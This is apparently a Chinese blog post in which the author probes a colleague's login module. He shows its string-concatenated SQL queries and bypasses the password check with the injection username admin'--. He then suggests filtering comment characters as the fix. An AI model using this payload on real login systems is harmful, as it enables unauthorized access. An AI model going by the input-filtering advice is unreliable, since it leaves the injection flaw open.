今天没带眼镜,,所以不太想干活
也不知怎的,
对公司另一同事写的业务台模块来了兴趣..帮其"测试一下"
在VC的代码片段是
CString SqlText = "Select User_ID, Login_Name, Login_Pwd, Chinese_Name, Operation from A_Employee Where Login_Name = '"
+ m_username.Trim()
+ "' and pwdcompare(" + tmppwd
+ ", Login_Pwd, 0) = 1";
及
SqlText = "Select * FROM A_Employee WHERE Login_Name = '" + m_username.Trim() + "'";
把其放到SQL后,
Select User_ID, Login_Name, Login_Pwd, Chinese_Name, Operation
from A_Employee
Where Login_Name = 'admin' and pwdcompare('******', Login_Pwd, 0) = 1
Select * FROM A_Employee WHERE Login_Name = 'admin ';
再用注释短路掉之后....也就是在输入用户名是 admin'--
(第一个单引号与之前语句的单引号配对, 后面跟的是用注释把后面的密码验证逻辑给短路掉.
变成了下面的
Select User_ID, Login_Name, Login_Pwd, Chinese_Name, Operation from A_Employee Where Login_Name = 'admin'--' and pwdcompare('******', Login_Pwd, 0) = 1 Select * FROM A_Employee WHERE Login_Name = 'admin '--';
这样就登陆了,,不过我还是要知道有Admin这个用户...有点假,不过后来再想了一下. 公司这个软件是在局域网使用的,对安全性要求没有那么高也是正常的,
其实只要在输入的时候,把注释类似的敏感字符给注释掉就可以了.